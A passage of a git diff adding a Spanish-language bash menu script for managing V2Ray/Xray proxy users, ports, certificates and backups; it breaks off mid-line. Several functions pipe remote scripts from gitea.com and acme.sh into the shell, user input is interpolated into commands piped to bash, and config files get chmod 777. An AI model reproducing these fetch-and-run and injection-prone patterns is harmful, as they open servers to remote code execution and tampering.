_us="${expUser[$opcion]}" + } || { + sed -i "/${userd[$opcion]}/d" $user_conf + _us="${userd[$opcion]}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${_us} ELIMINADO EXITOSAMENTE !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } + done +} + +fun_lock(){ + unset seg + local seg=$(date +%s) + while : + do + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + title " BLOQUEAR USUARIO Y MANDARLO AL LIMBOOOOO" + userDat + local n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + [[ $i = null ]] || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + col "$n)" "$i" "$DateExp" "$exp" + local uid[$n]="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local p=$n + let n++ + } + done + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A BLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + let n-- + [[ $opcion -gt ${n} ]] && { + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #echo -e " OPCION ${opcion} / USER : ${user[$opcion]}" + local LOCKDATA="$(cat ${user_conf}|grep -w "${user[$opcion]}"|cut -d'|' -f3)" + local tempo=$(date +%s --date="$LOCKDATA") + local dias="$(($(($tempo - $seg)) / 86400))" + [[ $opcion>=${p} ]] && { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + sed -i "/${user[$opcion]}/d" $user_conf + rm $temp + chmod 777 $configLOCK + #read -p "PAUSE" + } || { + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" >> $configLOCK + #echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days") |${dias}" + mv $config $temp + echo jq \'del\(.inbounds[].settings.clients[$opcion]\)\' $temp \> $config | bash + chmod 777 $config + rm $temp + sed -i "/${user[$opcion]}/d" $user_conf + chmod 777 $configLOCK + #read -p "PAUSE" + clear + msg -bar3 + #blanco " Usuario $(jq .inbounds[].settings.clients[$opcion].email $config) eliminado" + blanco " USUARIO ${user[$opcion]} NUM: ${opcion} ENVIADO AL LIMBOOOO !!" + msg -bar3 + restart_v2r + } + sleep 0.2 + } + } +done +} + +fun_unlock(){ +#echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $configLOCK + while : + do + unset user n + clear + title " DESBOQUEAR USUARIOS DEL LIMBOOOOO!!!" + userDat + userEpx=$(cut -d " " -f1 $configLOCK) + n=1 + for i in $userEpx + do + DateExp="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4)" + #seg_exp=$(date +%s --date="$DateExp") + #[[ "$seg" -gt "$seg_exp" ]] && { + col "$n)" "$i" "$DateExp DIAS" "\033[0;31m[LOCK]" + #col "$n)" "$i" "\033[0;31m[LOCK]" + local uid[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f2|tr -d '[[:space:]]')" + local user[$n]=$i + local tiempito[$n]="$(cat ${configLOCK}|grep -w "${i}"|cut -d'|' -f4|tr -d '[[:space:]]')" + let n++ + #} + done + [[ -z ${user[1]} ]] && blanco " No hay bloqueados!!!" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUMERO DE USUARIO A DESBLOQUEAR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + [[ ! $opcion =~ $numero ]] && { + blanco " solo numeros apartir de 1" + sleep 0.2 + } || { + [[ $opcion>=${n} ]] && { + let n-- + blanco "solo numero entre 1 y $n" + sleep 0.2 + } || { + #blanco "DURACION EN DIAS" 0 + local dias=${tiempito[$opcion]} + mv $config $temp + num=$(jq '.inbounds[].settings.clients | length' $temp) + aid=$(jq '.inbounds[].settings.clients[0].alterId' $temp) + echo "cat $temp | jq '.inbounds[].settings.clients[$num] += {alterId:${aid},id:\"${uid[$opcion]}\",email:\"${user[$opcion]}\"}' >> $config" | bash + sed -i "/${user[$opcion]}/d" ${configLOCK} + echo "${user[$opcion]} | ${uid[$opcion]} | $(date '+%y-%m-%d' -d " +$dias days")" >> $user_conf + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " USUARIO ${user[$opcion]} RETIRADO DEL LIMBOOOOOOO!!" + msg -bar3 + restart_v2r + sleep 0.2 + } + } + done +} + +_lo_un(){ +clear +msg -bar3 +echo -e "\033[0;35m [${cor[2]}1\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] BLOQUEAR USUARIO V2RAY " +echo -e "\033[0;35m [${cor[2]}2\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] DESBLOQUEAR USUARIO V2RAY " +msg -bar3 +echo -e " \033[0;35m[${cor[2]}0\033[0;35m]\033[0;33m ${flech} $(msg -bra "\033[1;43m[ Salir ]\e[0m")" +msg -bar3 + selection=$(selection_fun 2) + case ${selection} in + 1) + fun_lock + ;; + 2) + fun_unlock + ;; + esac +} + +view_user(){ + unset seg + seg=$(date +%s) + while : + do + + clear + users=$(cat $config | jq .inbounds[].settings.clients[] | jq -r .email) + + title " VER USUARIO V2RAY" + userDat + + n=1 + for i in $users + do + unset DateExp + unset seg_exp + unset exp + + [[ $i = null ]] && { + i="Admin" + DateExp=" Ilimitado" + } || { + DateExp="$(cat ${user_conf}|grep -w "${i}"|cut -d'|' -f3)" + seg_exp=$(date +%s --date="$DateExp") + exp="[$(($(($seg_exp - $seg)) / 86400))]" + } + + col "$n)" "$i" "$DateExp" "$exp" + let n++ + done + + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "VER DATOS DEL USUARIO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && continue + [[ $opcion = 0 ]] && break + + let opcion-- + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + id=$(jq .inbounds[].settings.clients[$opcion].id $config) + aid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='aqui.tu.host' + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + addip=$(wget -qO- ifconfig.me) + clear + msg -bar3 + blanco " Usuario: $ps" + msg -bar3 + col2 "Remarks:" "$ps" + col2 "Domain:" "$add" + col2 "IP-Address:" "$addip" + col2 "Port:" "$port" + col2 "id:" "$id" + col2 "alterId:" "$aid" + col2 "network:" "$net" + [[ $tls = '"tls"' ]] && col2 "TLS:" "ABIERTO" || col2 "TLS:" " CERRADO" + [[ $net = '"grpc"' ]] && col2 "Mode:" " GUN" || col2 "Head Type:" "none" + col2 "security:" "none" + [[ ! $host = '' ]] && col2 "Host/SNI:" "$host" + [[ $net = '"grpc"' ]] && col2 "ServiceName:" "$path" || col2 "Path:" "$path" + msg -bar3 + blanco " VMESS LINK CONFIG" + msg -bar3 + vmess + msg -bar3 + continuar + read foo + done +} + +vmess() { +[[ $net = '"grpc"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"none\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" || { +[[ $net = '"ws"' ]] && echo -e "\033[3;32mvmess://$(echo {\"v\": \"2\", \"ps\": $ps, \"add\": $addip, \"port\": $port, \"aid\": $aid, \"type\": \"gun\", \"net\": $net, \"path\": $path, \"host\": $host, \"id\": $id, \"tls\": $tls} | base64 -w 0)\033[3;32m" +} +} + +alterid(){ + while : + do + aid=$(jq '.inbounds[].settings.clients[0].alterId' $config) + clear + msg -bar3 + blanco " configuracion alterId" + msg -bar3 + col2 " alterid:" "$aid" + msg -bar3 + col "x)" "VOLVER" + msg -bar3 + blanco "NUEVO VALOR" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = x ]] && break + + mv $config $temp + new=".inbounds[].settings.clients[0]" + echo jq \'$new += \{alterId:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo AlterId fijado" + msg -bar3 + restart_v2r + done +} + +port(){ + while : + do + port=$(jq '.inbounds[].port' $config) + clear + msg -bar3 + blanco " configuracion de puerto" + msg -bar3 + col2 " Puerto:" "$port" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO PUERTO" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + new=".inbounds[]" + echo jq \'$new += \{port:${opcion}\}\' $temp \> $config | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco " Nuevo Puerto fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +address(){ + while : + do + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + clear + msg -bar3 + blanco " configuracion address" + msg -bar3 + col2 "address:" "$add" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO ADDRESS" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + mv $config $temp + echo "cat $temp | jq '.inbounds[] += {domain:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo address fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +host(){ + while : + do + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='sin host' + clear + msg -bar3 + blanco " configuracion Host" + msg -bar3 + col2 "Host:" "$host" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO HOST" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings.headers += {Host:\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo Host fijado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +path(){ + while : + do + net=$(jq '.inbounds[].streamSettings.network' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + clear + msg -bar3 + blanco " configuracion Path" + msg -bar3 + col2 "path:" "$path" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "NUEVO Path" 0 + read opcion + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + mv $config $temp + [[ $net = '"grpc"' ]] && echo "cat $temp | jq '.inbounds[].streamSettings.grpcSettings += {serviceName :\"$opcion\"}' >> $config" | bash || echo "cat $temp | jq '.inbounds[].streamSettings.wsSettings += {path:\"$opcion\"}' >> $config" | bash +# echo "cat $temp | jq '.inbounds[].streamSettings.grpcSettings += {serviceName :\"$opcion\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "Nuevo path fijado" + msg -bar3 + sleep 0.2 + restart_v2r + done +} + +crt_man(){ + while : + do + clear + msg -bar3 + blanco "configuracion de certificado manual" + msg -bar3 + + chek=$(jq '.inbounds[].streamSettings.tlsSettings' $config) + [[ ! $chek = {} ]] && { + crt=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].certificateFile' $config) + key=$(jq '.inbounds[].streamSettings.tlsSettings.certificates[].keyFile' $config) + dom=$(jq '.inbounds[].domain' $config) + echo -e " \033[4;49minstalado\033[0m" + col2 "crt:" "$crt" + col2 "key:" "$key" + col2 "dominio:" "$dom" + } || { + blanco " certificado no instalado" + } + + msg -bar3 + col "1)" "ingresar nuevo crt" + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + clear + msg -bar3 + blanco "ingrese su archivo de certificado\n ej: /root/crt/certif.crt" + msg -bar3 + blanco "crt" 0 + read crts + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + msg -bar3 + blanco "ingrese su archivo key\n ej: /root/crt/certif.key" + msg -bar3 + blanco "key" 0 + read keys + + clear + msg -bar3 + blanco " nuevo certificado" + msg -bar3 + blanco " $crts" + blanco " $keys" + msg -bar3 + blanco "ingrese su dominio\n ej: netfree.xyz" + msg -bar3 + blanco "dominio" 0 + read domi + + clear + msg -bar3 + blanco "verifique sus datos sean correctos!" + msg -bar3 + blanco " $crts" + blanco " $keys" + blanco " $domi" + msg -bar3 + continuar + read foo + + mv $config $temp + echo "cat $temp | jq '.inbounds[].streamSettings.tlsSettings += {certificates:[{certificateFile:\"$crts\",keyFile:\"$keys\"}]}' | jq '.inbounds[] += {domain:\"$domi\"}' | jq '.inbounds[].streamSettings += {security:\"tls\"}' >> $config" | bash + chmod 777 $config + rm $temp + clear + msg -bar3 + blanco "nuevo certificado agregado" + msg -bar3 + restart_v2r + sleep 0.2 + done +} + +install(){ + clear + install_ini + msg -bar3 + blanco " Esta por intalar v2ray!" + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray_manager.url.sh)" > /bin/v2r.sh + chmod +x /bin/v2r.sh + msg -bar3 + blanco " La instalacion puede tener\n alguna fallas!\n por favor observe atentamente\n el log de intalacion,\n este podria contener informacion\n sobre algunos errores!\n estos deveras ser corregidos de\n forma manual antes de continual\n usando el script" + msg -bar3 + sleep 0.2 + blanco "Enter para continuar..." + read foo + config='/etc/v2ray/config.json' + tmp='/etc/v2ray/temp.json' + source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray.sh) +echo '[Unit] +Description=V2Ray Service +After=network.target nss-lookup.target +StartLimitIntervalSec=0 + +[Service] +Type=simple +User=root +CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE +NoNewPrivileges=true +ExecStart=/usr/bin/v2ray/v2ray -config /etc/v2ray/config.json +Restart=always +RestartSec=3s + + +[Install] +WantedBy=multi-user.target' > /etc/systemd/system/v2ray.service +systemctl daemon-reload &>/dev/null +systemctl start v2ray &>/dev/null +systemctl enable v2ray &>/dev/null +systemctl restart v2ray.service +clear&&clear + title " INSTALACION DE XRAY MOD MENU " + echo -e " \033[0;31mEsta opcion es aparte, para habilitar XRAY Install" + echo -e " Habilitaremos el modulo XRAY previo al V2RAY ya instalado \033[0m" + echo -e " Accederas al pannel original si es la primera vez !!\n\033[0m" + msg -bar3 + blanco " Deseas instalar el XRAY ? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) + msg -bar3 + [[ -e /bin/xr.sh ]] && xr.sh || { + xray + echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh + chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " ESTE ES UN DUPLICADO V2RAY CON MODULO XRAY" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + ;; + [Nn]) continuar && read foo;; + esac +#restart_v2r +} + +v2ray_tls(){ + clear + msg -bar3 + blanco " certificado tls v2ray" + echo -e "Ingrese Correo Temporal o Fijo \n Para Validar su Cerficicado SSL " + read -p " Ejemplo > email=my@example.com : " -e -i $(date | md5sum | head -c15)@gmail.com crreo + msg -bar3 + wget -O - https://get.acme.sh | sh -s email=$crreo + v2ray tls + msg -bar3 + continuar + read foo +} + +v2ray_stream(){ + clear + msg -bar3 + blanco " instalacion de protocolos v2ray" + msg -bar3 + v2ray stream + msg -bar3 + continuar + read foo +} + +v2ray_menu(){ + clear + msg -bar3 + blanco " MENU V2RAY" + msg -bar3 + v2ray +} + +backups(){ + while : + do + unset opcion + unset PID + if [[ $(ps x | grep "http-server" | grep -v grep) = "" ]]; then + PID="\033[0;31m[offline]" + else + PID="\033[1;92m[online]" + fi + + clear + title " Config de Respaldos" + col "1)" "Respaldar Ahora" + col "2)" "\033[1;92mRestaurar Respaldo" + col "3)" "\033[0;31mEliminiar Respaldos" + col "4)" "\033[1;34mRespaldo en linea $PID" + col "5)" "\033[1;33mRespaldos automatico $(on_off_res)" + msg -bar3 + + col "6)" "\033[1;33m RESTAURAR Online PORT :81 " + msg -bar3 + col "0)" "VOLVER" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) autBackup + clear + title " Nuevo Respaldo Creado..." + sleep 0.2;; + 2) restore;; + 3) rm -rf $backdir/*.tar + clear + title " Almacer de Respaldo limpia..." + sleep 0.2;; + 4) server;; + + + 5) if [[ $(cat $v2rdir/conf | grep "autBackup" | cut -d " " -f2) = "0" ]]; then + sed -i 's/autBackup 0/autBackup 1/' $v2rdir/conf + else + sed -i 's/autBackup 1/autBackup 0/' $v2rdir/conf + fi;; + 6) + clear + echo -e "\033[0;33m + ESTA FUNCION EXPERIMENTAL +Una vez que se descarge tu Fichero, Escoje el BackOnline + + + OJO + + + Luego de Restaurarlo, Vuelve Activar el TLS + Para Validar la Configuracion de tu certificao" +msg -bar3 +echo -n "INGRESE LINK Que Mantienes Online en GitHub, o VPS \n" +read -p "Pega tu Link : " url1 +wget -q -O $backdir/BakcOnline.tar $url1 && echo -e "\033[1;31m- \033[1;32mFile Exito!" && restore || echo -e "\033[1;31m- \033[1;31mFile Fallo" && sleep 0.2 + ;; + 0) break;; + *) blanco "opcion incorrecta..." && sleep 0.2;; + esac + done +} + + +restablecer_v2r(){ + clear + title " restablecer ajustes v2ray" + echo -e " \033[0;31mEsto va a restablecer los\n ajustes predeterminados de v2ray" + echo -e " Se perdera ajuste previos,\n incluido los Usuarios\033[0m" + echo -e " LUEGO DE ESTO, DEBERAS RECONFIGURAR TU METODO\n\033[0m" + msg -bar3 + blanco "quiere continuar? [S/N]" 0 + read opcion + msg -bar3 + case $opcion in + [Ss]|[Yy]) + v2ray new && rm -f ${configLOCK} + rm -f /etc/v2r/user + ;; + [Nn]) continuar && read foo;; + esac +} + +remove_all(){ + sed -i '/net.core.default_qdisc/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_congestion_control/d' /etc/sysctl.conf + sed -i '/fs.file-max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_max/d' /etc/sysctl.conf + sed -i '/net.core.wmem_max/d' /etc/sysctl.conf + sed -i '/net.core.rmem_default/d' /etc/sysctl.conf + sed -i '/net.core.wmem_default/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_recycle/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_keepalive_time/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_rmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_wmem/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_mtu_probing/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_forward/d' /etc/sysctl.conf + sed -i '/fs.inotify.max_user_instances/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syncookies/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_fin_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_tw_reuse/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_syn_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.ip_local_port_range/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_tw_buckets/d' /etc/sysctl.conf + sed -i '/net.ipv4.route.gc_timeout/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_synack_retries/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_syn_retries/d' /etc/sysctl.conf + sed -i '/net.core.somaxconn/d' /etc/sysctl.conf + sed -i '/net.core.netdev_max_backlog/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_timestamps/d' /etc/sysctl.conf + sed -i '/net.ipv4.tcp_max_orphans/d' /etc/sysctl.conf + clear + echo -e " \033[0;92mLa aceleración está Desinstalada." + sleep 0.1 +} + +bbr(){ + while : + do + clear + title " ACELERACION BBR" + blanco " Esto activara la aceleracion\n por defecto de su kernel.\n no se modoficar nada del sistema." + msg -bar3 + col "1)" "Acivar aceleracion" + col "2)" "quitar toda aceleracion" + msg -bar3 + col "0)" "volver" + msg -bar3 + blanco "opcion" 0 + read opcion + case $opcion in + 1) + remove_all + echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf + echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf + sysctl -p + echo -e " \033[0;92m¡BBR comenzó con éxito!";; + 2)remove_all;; + 0)break;; + *)blanco " seleccione una opcion" && sleep 0.2;; + esac + done +} + +settings(){ + while : + do + clear + msg -bar3 + blanco " Ajustes e instalacion v2ray" + msg -bar3 + col "1)" "CAMBIAR DOMINIO / IP" + col "2)" "CAMBIAR PUERTO " + col "3)" "CAMBIAR AlterId" + col "4)" "CAMBIAR HOST" + col "5)" "CAMBIAR PACH" + msg -bar3 + col "6)" "AÑADIR CRT (script)" + col "7)" "AÑADIR CRT V2RAY NATIVO" + col "8)" "AÑADIR CERTIFICADO MANUAL" + msg -bar3 + col "9)" "CAMBIAR PROTOCOLO V2RAY" + col "10)" "ENTRAR A V2RAY ORIGINAL" + col "11)" "RESTABLECER CONFIGURACION" + msg -bar3 + col "12)" "BBR nativo del sistema" + col "13)" "INSTALL/REINSTALL V2RAY/XRAY" + msg -bar3 + col "14)" "Conf. COPIAS DE SEGURIDAD" + msg -bar3 + #col "15)" "HABILITAR MODULO XRAY ( V2ray )" + #msg -bar3 + col "0)" "REGRESAR" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)address;; + 2)port;; + 3)alterid;; + 4)host;; + 5)path;; + 6)domain_check && clear ;; + 7)v2ray_tls;; + 8)crt_man;; + 9)v2ray_stream;; + 10)v2ray_menu;; + 11)restablecer_v2r;; + 12)bbr;; + 13)install;; + 14)backups;; + 15)_xray;; + *) blanco " solo numeros de 0 a 14" && sleep 0.2;; + esac + done +} + +_xray() { +[[ -e /bin/xr.sh ]] && xr.sh || { +xray +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/xray_manager.sh)" > /bin/xr.sh +chmod +x /bin/xr.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * xr.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " ESTE ES UN DUPLICADO V2RAY CON MODULO XRAY" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +} + +enon(){ +echo "source <(curl -sSL https://gitea.com/drowkid01/scriptdk1/raw/branch/main/Recursos/menu_inst/v2ray_manager.url.sh)" > /bin/v2r.sh +chmod +x /bin/v2r.sh + clear + msg -bar3 + blanco " Se ha agregado un autoejecutor en el Sector de Inicios Rapidos" + msg -bar3 + blanco " Para Acceder al menu Rapido \n Utilize * v2r.sh * !!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi deseas desabilitar esta opcion, apagala" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} +enoff(){ +rm -f /bin/v2r.sh + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSe ha Desabilitado el menu Rapido de v2r.sh" + echo -e " Y te recomiendo, no alterar nada en este menu, para" + echo -e " Evitar Errores Futuros" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo +} + +enttrada () { + + while : + do + clear + msg -bar3 + blanco " Ajustes de Entrada Rapida de Menu v2ray" + msg -bar3 + col "1)" "Habilitar v2r.sh, Como entrada Rapida" + col "2)" "Eliminar v2r.sh, Como entrada Rapida" + msg -bar3 + col "0)" "Volver" + msg -bar3 + blanco "opcion" 0 + read opcion + + [[ -z $opcion ]] && vacio && sleep 0.3 && break + [[ $opcion = 0 ]] && break + + case $opcion in + 1)enon;; + 2)enoff;; + *) blanco " solo numeros de 0 a 2" && sleep 0.1;; + esac + done + +} + +_fix () { +restablecer_v2r +} + +main(){ + [[ ! -e $config ]] && { + clear + msg -bar3 + blanco " No se encontro ningun archovo de configracion v2ray" + msg -bar3 + blanco " No instalo v2ray o esta usando\n una vercion diferente!!!" + msg -bar3 + echo -e " \033[4;31mNOTA importante\033[0m" + echo -e " \033[0;31mSi esta usando una vercion v2ray diferente" + echo -e " y opta por cuntinuar usando este script." + echo -e " Este puede; no funcionar correctamente" + echo -e " y causar problemas en futuras instalaciones.\033[0m" + msg -bar3 + continuar + read foo + } + while : + do + _usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')") + _usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')") + [[ -e /bin/v2r.sh ]] && enrap="\033[1;92m[ON]" || enrap="\033[0;31m[OFF]" + [[ -e /etc/v2ray/config.json ]] && _v2Reg="$(cat /etc/v2ray/config.json | jq .inbounds[].settings.clients[].email|wc -l)" || _v2Reg=0 + [[ -e /etc/v2ray/config.json.lock ]] && _v2LOCK="$(cat /etc/v2ray/config.json.lock|wc -l)" || _v2LOCK=0 + clear + title2 + title " Ram: \033[1;32m$_usor \033[0;31m<<< \033[1;37mMENU V2RAY \033[0;31m>>> \033[1;37mCPU: \033[1;32m$_usop" + col "1)" "CREAR NUEVO USUARIO" + col "2)" "\033[0;92mRENOVAR USUARIO" + col "3)" "\033[0;31mREMOVER USUARIO" + col "4)" "VER DATOS DE USUARIOS \033[1;32m ( ${_v2Reg} )" + col "5)" "VER USUARIOS CONECTADOS" + col "b)" "LOCK/UNLOCK USUARIO \033[1;32m ( ${_v2LOCK} )" + msg -bar3 + col "6)" "\033[1;33m AJUSTES V2RAY $_v2" + msg -bar3 + col "7)" "\033[1;33mENTRAR CON \033[1;33mv2r.sh $enrap" + msg -bar3 + col "8)" "\033[1;33mFIXEAR V2RAY ( SOLO USUARIOS )" + msg -bar3 + col "0)" "SALIR \033[0;31m|| $(blanco "Respaldos a utomaticos") $(on_off_res)" + msg -bar3 + blanco "opcion" 0 + read opcion + + case $opcion in + 1) add_user;; + 2) renew;; + 3) dell_user;; + 4) view_user;; + 5) usrCONEC ;; + 6) settings;; + 7) enttrada;; + 8) restablecer_v2r;; + b) _lo_un;; + 0) break;; + *) blanco "\n selecione una opcion del 0 al 8" && sleep 0.1;; + esac + done +} + +[[ $1 = "autoDel" ]] && { + chekKEY &> /dev/null 2>&1 + autoDel +} || { + chekKEY &> /dev/null 2>&1 + autoDel + main +} diff --git a/Recursos/test/v2ray_manager.url.sh b/Recursos/test/v2ray_manager.url.sh new file mode 100644 index 0000000..68a6bf3 --- /dev/null +++ b/Recursos/test/v2ray_manager.url.sh @@ -0,0 +1,2 @@ +#!/bin/sh +source <(curl -sSL 